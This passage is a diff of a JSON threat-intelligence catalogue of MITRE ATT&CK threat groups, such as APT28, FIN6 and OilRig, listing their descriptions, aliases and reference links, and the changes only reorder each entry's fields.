"https://attack.mitre.org/wiki/Group/G0018",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
- "external_id": "G0018"
+ "synonyms": [
+ "admin@338"
+ ]
},
- "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756"
+ "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
+ "value": "admin@338 - G0018"
},
{
"description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)",
- "value": "RTM - G0048",
"meta": {
- "synonyms": [
- "RTM"
- ],
+ "external_id": "G0048",
"refs": [
"https://attack.mitre.org/wiki/Group/G0048",
"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
],
- "external_id": "G0048"
+ "synonyms": [
+ "RTM"
+ ]
},
- "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f"
+ "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f",
+ "value": "RTM - G0048"
},
{
"description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
- "value": "APT16 - G0023",
"meta": {
- "synonyms": [
- "APT16"
- ],
+ "external_id": "G0023",
"refs": [
"https://attack.mitre.org/wiki/Group/G0023",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
],
- "external_id": "G0023"
+ "synonyms": [
+ "APT16"
+ ]
},
- "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70"
+ "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70",
+ "value": "APT16 - G0023"
},
{
"description": "Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev",
- "value": "Sowbug - G0054",
"meta": {
- "synonyms": [
- "Sowbug"
- ],
+ "external_id": "G0054",
"refs": [
"https://attack.mitre.org/wiki/Group/G0054",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
],
- "external_id": "G0054"
+ "synonyms": [
+ "Sowbug"
+ ]
},
- "uuid": "d1acfbb3-647b-4723-9154-800ec119006e"
+ "uuid": "d1acfbb3-647b-4723-9154-800ec119006e",
+ "value": "Sowbug - G0054"
},
{
"description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
- "value": "APT28 - G0007",
"meta": {
+ "external_id": "G0007",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0007",
+ "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
+ "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
+ ],
"synonyms": [
"APT28",
"Sednit",
@@ -129,61 +134,47 @@
"Tsar Team",
"Threat Group-4127",
"TG-4127"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0007",
- "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
- "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ],
- "external_id": "G0007"
+ ]
},
- "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
+ "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c",
+ "value": "APT28 - G0007"
},
{
"description": "PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)\n\nContributors: Ryan Becwar",
- "value": "PLATINUM - G0068",
"meta": {
- "synonyms": [
- "PLATINUM"
- ],
+ "external_id": "G0068",
"refs": [
"https://attack.mitre.org/wiki/Group/G0068"
],
- "external_id": "G0068"
+ "synonyms": [
+ "PLATINUM"
+ ]
},
- "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694"
+ "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694",
+ "value": "PLATINUM - G0068"
},
{
"description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
- "value": "Winnti Group - G0044",
"meta": {
- "synonyms": [
- "Winnti Group",
- "Blackfly"
- ],
+ "external_id": "G0044",
"refs": [
"https://attack.mitre.org/wiki/Group/G0044",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
"https://securelist.com/games-are-over/70991/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
- "external_id": "G0044"
+ "synonyms": [
+ "Winnti Group",
+ "Blackfly"
+ ]
},
- "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff"
+ "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
+ "value": "Winnti Group - G0044"
},
{
"description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)",
- "value": "Deep Panda - G0009",
"meta": {
- "synonyms": [
- "Deep Panda",
- "Shell Crew",
- "WebMasters",
- "KungFu Kittens",
- "PinkPanther",
- "Black Vine"
- ],
+ "external_id": "G0009",
"refs": [
"https://attack.mitre.org/wiki/Group/G0009",
"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
@@ -191,283 +182,288 @@
"https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf"
],
- "external_id": "G0009"
+ "synonyms": [
+ "Deep Panda",
+ "Shell Crew",
+ "WebMasters",
+ "KungFu Kittens",
+ "PinkPanther",
+ "Black Vine"
+ ]
},
- "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064"
+ "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064",
+ "value": "Deep Panda - G0009"
},
{
"description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2",
- "value": "Molerats - G0021",
"meta": {
+ "external_id": "G0021",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0021"
+ ],
"synonyms": [
"Molerats",
"Operation Molerats",
"Gaza Cybergang"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0021"
- ],
- "external_id": "G0021"
+ ]
},
- "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411"
+ "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411",
+ "value": "Molerats - G0021"
},
{
"description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)",
- "value": "Strider - G0041",
"meta": {
- "synonyms": [
- "Strider",
- "ProjectSauron"
- ],
+ "external_id": "G0041",
"refs": [
"https://attack.mitre.org/wiki/Group/G0041",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets",
"https://securelist.com/faq-the-projectsauron-apt/75533/"
],
- "external_id": "G0041"
+ "synonyms": [
+ "Strider",
+ "ProjectSauron"
+ ]
},
- "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656"
+ "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656",
+ "value": "Strider - G0041"
},
{
"description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)",
- "value": "Sandworm Team - G0034",
"meta": {
- "synonyms": [
- "Sandworm Team",
- "Quedagh"
- ],
+ "external_id": "G0034",
"refs": [
"https://attack.mitre.org/wiki/Group/G0034",
"https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"
],
- "external_id": "G0034"
+ "synonyms": [
+ "Sandworm Team",
+ "Quedagh"
+ ]
},
- "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192"
+ "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192",
+ "value": "Sandworm Team - G0034"
},
{
"description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)",
- "value": "FIN6 - G0037",
"meta": {
- "synonyms": [
- "FIN6"
- ],
+ "external_id": "G0037",
"refs": [
"https://attack.mitre.org/wiki/Group/G0037",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
],
- "external_id": "G0037"
+ "synonyms": [
+ "FIN6"
+ ]
},
- "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb"
+ "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
+ "value": "FIN6 - G0037"
},
{
"description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)",
- "value": "Dust Storm - G0031",
"meta": {
- "synonyms": [
- "Dust Storm"
- ],
+ "external_id": "G0031",
"refs": [
"https://attack.mitre.org/wiki/Group/G0031",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
- "external_id": "G0031"
+ "synonyms": [
+ "Dust Storm"
+ ]
},
- "uuid": "ae41895a-243f-4a65-b99b-d85022326c31"
+ "uuid": "ae41895a-243f-4a65-b99b-d85022326c31",
+ "value": "Dust Storm - G0031"
},
{
"description": "TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
- "value": "TA459 - G0062",
"meta": {
- "synonyms": [
- "TA459"
- ],
+ "external_id": "G0062",
"refs": [
"https://attack.mitre.org/wiki/Group/G0062",
"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
],
- "external_id": "G0062"
+ "synonyms": [
+ "TA459"
+ ]
},
- "uuid": "62a64fd3-aaf7-4d09-a375-d6f8bb118481"
+ "uuid": "62a64fd3-aaf7-4d09-a375-d6f8bb118481",
+ "value": "TA459 - G0062"
},
{
"description": "APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. The group was believed to be responsible for a 2016 campaign known as Operation Daybreak as well as an earlier campaign known as Operation Erebus. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
- "value": "APT37 - G0067",
"meta": {
+ "external_id": "G0067",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0067",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf",
+ "https://securelist.com/operation-daybreak/75100/"
+ ],
"synonyms": [
"APT37",
"ScarCruft",
"Reaper",
"Group123",
"TEMP.Reaper"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0067",
- "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf",
- "https://securelist.com/operation-daybreak/75100/"
- ],
- "external_id": "G0067"
+ ]
},
- "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c"
+ "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c",
+ "value": "APT37 - G0067"
},
{
"description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
- "value": "Cleaver - G0003",
"meta": {
- "synonyms": [
- "Cleaver",
- "TG-2889",
- "Threat Group 2889"
- ],
+ "external_id": "G0003",
"refs": [
"https://attack.mitre.org/wiki/Group/G0003",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
"http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
],
- "external_id": "G0003"
+ "synonyms": [
+ "Cleaver",
+ "TG-2889",
+ "Threat Group 2889"
+ ]
},
- "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063"
+ "uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
+ "value": "Cleaver - G0003"
},
{
"description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
- "value": "APT12 - G0005",
"meta": {
+ "external_id": "G0005",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0005",
+ "http://www.crowdstrike.com/blog/whois-numbered-panda/"
+ ],
"synonyms": [
"APT12",
"IXESHE",
"DynCalc",
"Numbered Panda",
"DNSCALC"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0005",
- "http://www.crowdstrike.com/blog/whois-numbered-panda/"
- ],
- "external_id": "G0005"
+ ]
},
- "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb"
+ "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb",
+ "value": "APT12 - G0005"
},
{
"description": "NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
- "value": "NEODYMIUM - G0055",
"meta": {
- "synonyms": [
- "NEODYMIUM"
- ],
+ "external_id": "G0055",
"refs": [
"https://attack.mitre.org/wiki/Group/G0055",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf",
"https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"
],
- "external_id": "G0055"
+ "synonyms": [
+ "NEODYMIUM"
+ ]
},
- "uuid": "025bdaa9-897d-4bad-afa6-013ba5734653"
+ "uuid": "025bdaa9-897d-4bad-afa6-013ba5734653",
+ "value": "NEODYMIUM - G0055"
},
{
"description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)",
- "value": "APT34 - G0057",
"meta": {
- "synonyms": [
- "APT34"
- ],
+ "external_id": "G0057",
"refs": [
"https://attack.mitre.org/wiki/Group/G0057",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
],
- "external_id": "G0057"
+ "synonyms": [
+ "APT34"
+ ]
},
- "uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6"
+ "uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6",
+ "value": "APT34 - G0057"
},
{
"description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)",
- "value": "Moafee - G0002",
"meta": {
- "synonyms": [
- "Moafee"
- ],
+ "external_id": "G0002",
"refs": [
"https://attack.mitre.org/wiki/Group/G0002",
"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html"
],
- "external_id": "G0002"
+ "synonyms": [
+ "Moafee"
+ ]
},
- "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f"
+ "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f",
+ "value": "Moafee - G0002"
},
{
"description": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)",
- "value": "Threat Group-3390 - G0027",
"meta": {
- "synonyms": [
- "Threat Group-3390",
- "TG-3390",
- "Emissary Panda",
- "BRONZE UNION"
- ],
+ "external_id": "G0027",
"refs": [
"https://attack.mitre.org/wiki/Group/G0027",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.secureworks.com/research/bronze-union"
],
- "external_id": "G0027"
+ "synonyms": [
+ "Threat Group-3390",
+ "TG-3390",
+ "Emissary Panda",
+ "BRONZE UNION"
+ ]
},
- "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c"
+ "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c",
+ "value": "Threat Group-3390 - G0027"
},
{
"description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)",
- "value": "DragonOK - G0017",
"meta": {
- "synonyms": [
- "DragonOK"
- ],
+ "external_id": "G0017",
"refs": [
"https://attack.mitre.org/wiki/Group/G0017",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf",
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
],
- "external_id": "G0017"
+ "synonyms": [
+ "DragonOK"
+ ]
},
- "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a"
+ "uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a",
+ "value": "DragonOK - G0017"
},
{
"description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
- "value": "APT1 - G0006",
"meta": {
+ "external_id": "G0006",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0006",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ ],
"synonyms": [
"APT1",
"Comment Crew",
"Comment Group",
"Comment Panda"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0006",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
- "external_id": "G0006"
+ ]
},
- "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662"
+ "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662",
+ "value": "APT1 - G0006"
},
{
"description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)",
- "value": "FIN10 - G0051",
"meta": {
- "synonyms": [
- "FIN10"
- ],
+ "external_id": "G0051",
"refs": [
"https://attack.mitre.org/wiki/Group/G0051",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
],
- "external_id": "G0051"
+ "synonyms": [
+ "FIN10"
+ ]
},
- "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b"
+ "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b",
+ "value": "FIN10 - G0051"
},
{
"description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)\n\nContributors: Robert Falcone, Bryan Lee",
- "value": "OilRig - G0049",
"meta": {
- "synonyms": [
- "OilRig"
- ],
+ "external_id": "G0049",
"refs": [
"https://attack.mitre.org/wiki/Group/G0049",
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/",
@@ -477,247 +473,241 @@
"https://pan-unit42.github.io/playbook%20viewer/",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
],
- "external_id": "G0049"
+ "synonyms": [
+ "OilRig"
+ ]
},
- "uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d"
+ "uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d",
+ "value": "OilRig - G0049"
},
{
"description": "Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
- "value": "Charming Kitten - G0058",
"meta": {
- "synonyms": [
- "Charming Kitten"
- ],
+ "external_id": "G0058",
"refs": [
"https://attack.mitre.org/wiki/Group/G0058",
"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
],
- "external_id": "G0058"
+ "synonyms": [
+ "Charming Kitten"
+ ]
},
- "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0"
+ "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0",
+ "value": "Charming Kitten - G0058"
},
{
"description": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nContributors: Walker Johnson",
- "value": "FIN5 - G0053",
"meta": {
- "synonyms": [
- "FIN5"
- ],
+ "external_id": "G0053",
"refs": [
"https://attack.mitre.org/wiki/Group/G0053",
"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html",
"https://www.youtube.com/watch?v=fevGZs0EQu8",
"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
],
- "external_id": "G0053"
+ "synonyms": [
+ "FIN5"
+ ]
},
- "uuid": "85403903-15e0-4f9f-9be4-a259ecad4022"
+ "uuid": "85403903-15e0-4f9f-9be4-a259ecad4022",
+ "value": "FIN5 - G0053"
},
{
"description": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
- "value": "BlackOasis - G0063",
"meta": {
- "synonyms": [
- "BlackOasis"
- ],
+ "external_id": "G0063",
"refs": [
"https://attack.mitre.org/wiki/Group/G0063",
"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
"https://securelist.com/apt-trends-report-q2-2017/79332/",
"https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"
],
- "external_id": "G0063"
+ "synonyms": [
+ "BlackOasis"
+ ]
},
- "uuid": "da49b9f1-ca99-443f-9728-0a074db66850"
+ "uuid": "da49b9f1-ca99-443f-9728-0a074db66850",
+ "value": "BlackOasis - G0063"
},
{
"description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
- "value": "Taidoor - G0015",
"meta": {
- "synonyms": [
- "Taidoor"
- ],
+ "external_id": "G0015",
"refs": [
"https://attack.mitre.org/wiki/Group/G0015",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf"
],
- "external_id": "G0015"
+ "synonyms": [
+ "Taidoor"
+ ]
},
- "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46"
+ "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46",
+ "value": "Taidoor - G0015"
},
{
"description": "Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)",
- "value": "Night Dragon - G0014",
"meta": {
- "synonyms": [
- "Night Dragon",
- "Musical Chairs"
- ],
+ "external_id": "G0014",
"refs": [
"https://attack.mitre.org/wiki/Group/G0014",
"https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf",
"https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/"
],
- "external_id": "G0014"
+ "synonyms": [
+ "Night Dragon",
+ "Musical Chairs"
+ ]
},
- "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8"
+ "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
+ "value": "Night Dragon - G0014"
},
{
"description": "Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
- "value": "Naikon - G0019",
"meta": {
- "synonyms": [
- "Naikon"
- ],
+ "external_id": "G0019",
"refs": [
"https://attack.mitre.org/wiki/Group/G0019",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf",
"http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf",
"https://securelist.com/the-naikon-apt/69953/"
],
- "external_id": "G0019"
+ "synonyms": [
+ "Naikon"
+ ]
},
- "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050"
+ "uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050",
+ "value": "Naikon - G0019"
},
{
"description": "Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)",
- "value": "Ke3chang - G0004",
"meta": {
- "synonyms": [
- "Ke3chang"
- ],
+ "external_id": "G0004",
"refs": [
"https://attack.mitre.org/wiki/Group/G0004",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
],
- "external_id": "G0004"
+ "synonyms": [
+ "Ke3chang"
+ ]
},
- "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c"
+ "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c",
+ "value": "Ke3chang - G0004"
},
{
"description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
- "value": "APT32 - G0050",
"meta": {
- "synonyms": [
- "APT32",
- "OceanLotus Group"
- ],
+ "external_id": "G0050",
"refs": [
"https://attack.mitre.org/wiki/Group/G0050",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
],
- "external_id": "G0050"
+ "synonyms": [
+ "APT32",
+ "OceanLotus Group"
+ ]
},
- "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e"
+ "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e",
+ "value": "APT32 - G0050"
},
{
"description": "MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to FIN7, but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)",
- "value": "MuddyWater - G0069",
"meta": {
- "synonyms": [
- "MuddyWater",
- "TEMP.Zagros"
- ],
+ "external_id": "G0069",
"refs": [
"https://attack.mitre.org/wiki/Group/G0069",
